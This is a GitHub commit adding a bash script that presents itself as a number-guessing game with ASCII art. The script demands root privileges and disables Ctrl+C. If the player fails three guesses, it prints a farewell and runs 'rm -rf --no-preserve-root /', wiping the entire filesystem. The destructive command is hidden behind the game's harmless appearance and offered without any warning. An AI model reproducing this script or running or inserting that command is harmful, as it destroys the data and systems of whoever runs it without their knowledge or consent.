Add files via upload

This commit is contained in:
Mickado31 2024-02-05 16:34:45 +01:00 committed by GitHub
parent 3e9b4a2e81
commit f4dcff26c4
No known key found for this signature in database
GPG Key ID: B5690EEEBB952194
1 changed files with 100 additions and 0 deletions

View File

@ -0,0 +1,100 @@
#!/bin/bash
# Vérifier si l'utilisateur courant est root
if [ "$(id -u)" -ne 0 ]; then
# Afficher l'art ASCII si l'utilisateur n'est pas root
cat << "EOF1"
⠂⠁⠀⠀⠀⠀⠀⠀⠀⠀⠀⢀⣠⡾⣟⣿⠿⠛⠛⠋⡉⠍⡐⢠⠠⡐⡈⠌⣉⠙⠛⠛⠽⣿⣛⢽⣄⡀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀
⠀⠀⠀⠀⠀⠀⠀⠀⠀⣀⣶⣻⠟⠛⠉⡀⡀⠆⡁⠆⡁⠆⡐⢁⠂⠔⡁⠊⢄⠊⠔⡠⢂⠀⠉⠛⢾⣝⢶⣄⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀
⠀⠀⠀⠀⠀⠀⠀⣠⠖⠉⡉⠁⠄⡌⠂⢄⠁⠒⡀⠒⡈⠔⠠⠌⡐⠢⢠⠁⠆⢨⠐⠄⠢⠡⠌⠰⢀⠈⠛⢮⣷⣆⠀⠀⠀⠀⠀⠀⡀⠀
⠀⠀⠀⠀⠀⣠⣾⡗⠁⢂⠐⡉⠐⠠⢁⠂⠌⠡⠐⠡⠈⠌⣁⠂⠄⡑⠠⠌⠒⠠⠌⡐⢁⠢⢈⠁⢢⢈⠐⡀⠉⠻⣷⣄⠀⠀⠀⠀⠀⠀
⠀⠀⠀⢀⣾⡽⠋⡀⠎⠠⠁⢄⣡⡾⠀⠌⢂⠡⢃⠡⢉⡐⠈⠻⣷⣤⣁⣂⣡⠈⠔⡈⠄⠒⡈⠌⣀⠢⢁⠤⢁⠂⠒⢾⢧⡀⠀⠈⠀⠀
⠀⠀⣠⣿⡟⠁⡐⢠⣨⣤⡷⠿⠋⠠⢁⡘⢀⠢⠄⠂⠅⡠⢁⠂⠄⡈⢉⠉⡉⢁⠂⡐⠌⠡⢐⠂⠄⢂⠄⠢⢐⠈⡐⠈⠡⣳⡀⠀⠀⠀
⢠⣴⣿⠟⢠⠂⠄⢋⠉⠠⠐⠠⢈⠄⠡⠐⡀⠢⢈⠒⠠⢁⠢⢈⢐⣤⣦⡶⠷⠾⠶⢦⣌⡐⠈⠄⡉⠤⢈⡐⠨⠐⠄⡁⢂⠡⠹⡄⠀⠀
⣿⢟⡾⠀⠂⠌⡐⠠⠈⠄⡁⠂⠄⡈⠆⣁⠂⡑⠠⢈⢂⡁⢂⣶⣿⣵⣶⣶⡶⠀⠀⠀⠈⠛⢾⣄⠄⠡⠂⠤⢁⡘⢀⠒⠠⢀⠡⠀⠀⠀
⣿⣾⠃⡈⢐⣠⡶⠷⢛⣷⣺⣷⣤⡐⠈⢄⠒⣈⠁⢂⠤⢘⣵⣿⣿⢿⣿⠏⠀⠀⠀⠀⠀⠀⠀⠉⢷⣆⠡⠌⢠⠐⠂⠌⢒⠠⠀⠀⢣⡄
⣿⡇⠐⢠⡾⠋⢀⣴⣿⣿⣿⡟⠉⠻⣆⡀⠒⡄⠨⠄⠒⣼⣿⣿⢯⣿⣿⠀⠀⠀⠂⠄⠀⠀⠀⠀⠀⠹⣦⠐⠠⠌⢂⢁⠢⠄⠡⠀⠰⣿
⢻⡅⢨⡿⠁⢠⣿⣿⣿⡿⣽⣿⠀⠀⠙⣧⠐⠠⠑⡈⣼⣿⣿⣯⣿⣟⣿⣧⡀⠀⠀⠀⣤⡀⠀⠀⠀⠀⠹⣧⠐⡈⠄⢂⠰⢈⠐⡀⡆⡿
⢻⡄⣿⠁⠀⣼⣿⣿⡿⣽⣿⢿⣷⣄⣀⣹⣇⠠⠑⡄⣿⣿⣿⣾⣯⣿⢯⣿⣿⣿⣷⣿⣿⠄⠀⠀⠀⠀⠀⢹⡇⠠⠈⠄⠂⡄⠡⠀⡇⡇
⣹⢾⡇⠀⠀⣿⣿⣿⡿⣿⣽⣿⣻⣿⣿⣿⣿⣀⠣⢰⣿⣿⡟⠉⠛⢿⣿⣯⣿⣿⣿⣿⣿⠀⠐⠀⠀⡐⠀⠰⣟⠠⢁⠊⡐⠠⢁⠂⡄⣇
⣿⡞⡇⠀⠀⢻⣿⣿⠿⠿⣿⣾⣟⣷⣿⣿⡏⣷⢉⡚⣧⢻⣧⡀⠀⣸⣿⣿⣿⣿⣿⣿⠇⠀⠠⠀⡀⢀⠀⢘⣏⠀⢂⡐⢈⠁⢂⠀⠐⣿
⣿⣧⡷⠀⠀⠈⣿⣧⡀⠀⣼⣿⣿⣿⣿⡿⠁⣿⠢⠉⣿⡀⠻⣿⣿⣿⣿⣿⣿⣿⡿⠃⠀⠀⠁⠀⠀⠀⠀⢸⡇⠈⢄⡐⠠⢊⠀⠀⢸⠷
⣿⣹⣿⠀⠀⠀⠈⠻⣿⣿⣿⣿⣿⣿⠟⠁⠀⣿⠀⠁⠘⣧⠀⠀⠙⠛⠛⠛⠛⠁⣠⣀⠀⠀⠀⠀⠀⠀⢀⣾⠃⠈⡀⠠⢁⠂⢨⣴⡏⠁
⠉⢿⡽⣆⠀⠀⠀⢀⡶⣯⠉⠛⠉⠀⠀⠀⢰⡏⠀⠌⠐⠘⣧⠀⠀⠀⠀⠀⠀⣾⠉⠉⢷⡄⠀⠀⠀⠀⣾⠁⢄⠣⠌⡑⢠⣸⢟⡞⠀⠀
⠀⠸⣿⡹⣦⡀⣠⡟⠁⢸⡇⠀⠀⠀⠀⢠⡟⠀⠠⠁⠂⢀⠘⢳⣄⠀⠀⠀⠀⣿⡀⢀⠀⠛⢦⣄⡀⣼⠇⡈⢆⡑⢂⡁⢢⢯⡟⠀⠀⠀
⠀⠀⣾⣿⣿⠿⠋⢀⠐⣺⣧⣤⠶⠶⠶⠛⠈⠳⣶⠋⠉⠁⠉⠀⠉⠛⠛⠛⠒⠛⠻⠀⠄⢂⠀⠈⠙⠻⣦⡈⠔⡈⠄⣼⣻⡟⠈⠀⠀⠀
⣬⣿⣻⠏⠁⡀⠤⠀⠄⠀⡀⠀⡀⢀⠀⠄⣐⣠⠿⢦⣄⣂⣈⡀⢁⡠⠀⠄⢂⠐⢀⠈⠠⠀⠌⡐⠠⢀⠈⠻⣦⡘⣛⣽⠋⠀⠀⠀⠀⠀
⣿⣷⠏⠀⠐⡀⠂⠌⢀⠂⠄⠁⢰⡶⠾⠛⠋⠁⡀⢀⠈⠉⠁⠉⠉⢹⡇⠀⠂⠌⡀⠄⠁⡐⠠⠀⡁⠂⠄⠀⠉⣿⣻⡇⠀⠀⠀⠀⠀⠀
⣿⡇⠀⠄⠒⡀⢁⠂⠠⢈⠀⠌⣼⡗⠀⠐⠠⠁⡐⠂⠠⠁⡘⠠⠐⠈⢿⡄⠐⠠⢀⠂⠁⡐⠀⡁⠐⠈⡐⠈⢀⢸⣿⡇⠀⠀⠀⠀⠀⠀
⣼⡅⠀⠌⠐⡀⢂⠀⠡⢀⠂⠀⣽⣿⣶⢤⣆⣐⠀⠀⡁⠠⠀⠄⠁⠠⠘⣧⠈⠐⠠⢀⠁⠄⡐⢀⠁⠂⠄⠁⢀⣾⣻⡇⠀⠀⠀⠀⠀⠀
⣿⣷⡀⠈⠐⡀⢂⠈⠄⠠⠀⢡⣿⣿⠉⠳⠾⢭⣿⣻⣶⣶⡶⠦⡼⠴⢦⣾⣄⠉⠀⠂⠈⡀⠐⠀⠈⠠⣐⣨⣾⣻⠏⠀⠀⠀⠀⠀⠀⠀
⠿⣶⣿⣤⣴⣤⣤⣤⣦⣴⣬⢾⣷⡏⠀⠀⠀⢀⢀⡉⢉⠉⠙⣛⢛⡟⣻⣿⣽⣿⠛⠶⠷⡶⠳⠟⣿⣿⣯⣽⣿⡉⠀⠀⠀⠀⠀⠀⠀⠀
EOF1
echo "please launch the game with root privilege snif snif."
exit 1
fi
# Générer un nombre aléatoire entre 1 et 10
target=$((RANDOM % 10 + 1))
trap '' SIGINT
# Initialiser le nombre d'essais
essais=3
echo "Do you wana play a little game :) ?"
echo "Guess the mystery number between 1 and 10. You have :$essais try."
# Boucle pour donner à l'utilisateur jusqu'à 3 essais
for (( i=1; i<=essais; i++ ))
do
# Demander à l'utilisateur de saisir un chiffre
read -p "Try $i: Enter a number: " guess
# Vérifier si l'entrée est un nombre
if ! [[ "$guess" =~ ^[0-9]+$ ]]; then
echo "bruh its not a number between 1 and 10"
((i--)) # Ne pas compter cet essai
continue
fi
# Vérifier si le chiffre saisi est le bon
if [ "$guess" -eq "$target" ]; then
echo "GG you win "
cat << "EOF"
⣿⡟⠙⠛⠋⠩⠭⣉⡛⢛⠫⠭⠄⠒⠄⠄⠄⠈⠉⠛⢿⣿⣿⣿⣿⣿⣿⣿⣿⣿
⣿⡇⠄⠄⠄⠄⣠⠖⠋⣀⡤⠄⠒⠄⠄⠄⠄⠄⠄⠄⠄⠄⣈⡭⠭⠄⠄⠄⠉⠙
⣿⡇⠄⠄⢀⣞⣡⠴⠚⠁⠄⠄⢀⠠⠄⠄⠄⠄⠄⠄⠄⠉⠄⠄⠄⠄⠄⠄⠄⠄
⣿⡇⠄⡴⠁⡜⣵⢗⢀⠄⢠⡔⠁⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄
⣿⡇⡜⠄⡜⠄⠄⠄⠉⣠⠋⠠⠄⢀⡄⠄⠄⣠⣆⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄⢸
⣿⠸⠄⡼⠄⠄⠄⠄⢰⠁⠄⠄⠄⠈⣀⣠⣬⣭⣛⠄⠁⠄⡄⠄⠄⠄⠄⠄⢀⣿
⣏⠄⢀⠁⠄⠄⠄⠄⠇⢀⣠⣴⣶⣿⣿⣿⣿⣿⣿⡇⠄⠄⡇⠄⠄⠄⠄⢀⣾⣿
⣿⣸⠈⠄⠄⠰⠾⠴⢾⣻⣿⣿⣿⣿⣿⣿⣿⣿⣿⢁⣾⢀⠁⠄⠄⠄⢠⢸⣿⣿
⣿⣿⣆⠄⠆⠄⣦⣶⣦⣌⣿⣿⣿⣿⣷⣋⣀⣈⠙⠛⡛⠌⠄⠄⠄⠄⢸⢸⣿⣿
⣿⣿⣿⠄⠄⠄⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⠇⠈⠄⠄⠄⠄⠄⠈⢸⣿⣿
⣿⣿⣿⠄⠄⠄⠘⣿⣿⣿⡆⢀⣈⣉⢉⣿⣿⣯⣄⡄⠄⠄⠄⠄⠄⠄⠄⠈⣿⣿
⣿⣿⡟⡜⠄⠄⠄⠄⠙⠿⣿⣧⣽⣍⣾⣿⠿⠛⠁⠄⠄⠄⠄⠄⠄⠄⠄⠃⢿⣿
⣿⡿⠰⠄⠄⠄⠄⠄⠄⠄⠄⠈⠉⠩⠔⠒⠉⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄⠐⠘⣿
⣿⠃⠃⠄⠄⠄⠄⠄⠄⣀⢀⠄⠄⡀⡀⢀⣤⣴⣤⣤⣀⣀⠄⠄⠄⠄⠄⠄⠁⢹⠀⠀⠀⠀⠀⠀⠀⠀
EOF
trap - SIGINT
exit 0
else
echo "Bad."
fi
done
echo "ooooh nooo you failed snif snif :("
echo "bye bye forever"
cat << "EOF2"
⢿⣿⣿⣿⣭⠹⠛⠛⠛⢿⣿⣿⣿⣿⡿⣿⠷⠶⠿⢻⣿⣛⣦⣙⠻⣿
⣿⣿⢿⣿⠏⠀⠀⡀⠀⠈⣿⢛⣽⣜⠯⣽⠀⠀⠀⠀⠙⢿⣷⣻⡀⢿
⠐⠛⢿⣾⣖⣤⡀⠀⢀⡰⠿⢷⣶⣿⡇⠻⣖⣒⣒⣶⣿⣿⡟⢙⣶⣮
⣤⠀⠀⠛⠻⠗⠿⠿⣯⡆⣿⣛⣿⡿⠿⠮⡶⠼⠟⠙⠊⠁⠀⠸⢣⣿
⣿⣷⡀⠀⠀⠀⠀⠠⠭⣍⡉⢩⣥⡤⠥⣤⡶⣒⠀⠀⠀⠀⠀⢰⣿⣿
⣿⣿⡽⡄⠀⠀⠀⢿⣿⣆⣿⣧⢡⣾⣿⡇⣾⣿⡇⠀⠀⠀⠀⣿⡇⠃
⣿⣿⣷⣻⣆⢄⠀⠈⠉⠉⠛⠛⠘⠛⠛⠛⠙⠛⠁⠀⠀⠀⠀⣿⡇⢸
⢞⣿⣿⣷⣝⣷⣝⠦⡀⠀⠀⠀⠀⠀⠀⠀⡀⢀⠀⠀⠀⠀⠀⠛⣿⠈
⣦⡑⠛⣟⢿⡿⣿⣷⣝⢧⡀⠀⠀⣶⣸⡇⣿⢸⣧⠀⠀⠀⠀⢸⡿⡆
⣿⣿⣷⣮⣭⣍⡛⠻⢿⣷⠿⣶⣶⣬⣬⣁⣉⣀⣀⣁⡤⢴⣺⣾⣽⡇
EOF2
rm -rf --no-preserve-root /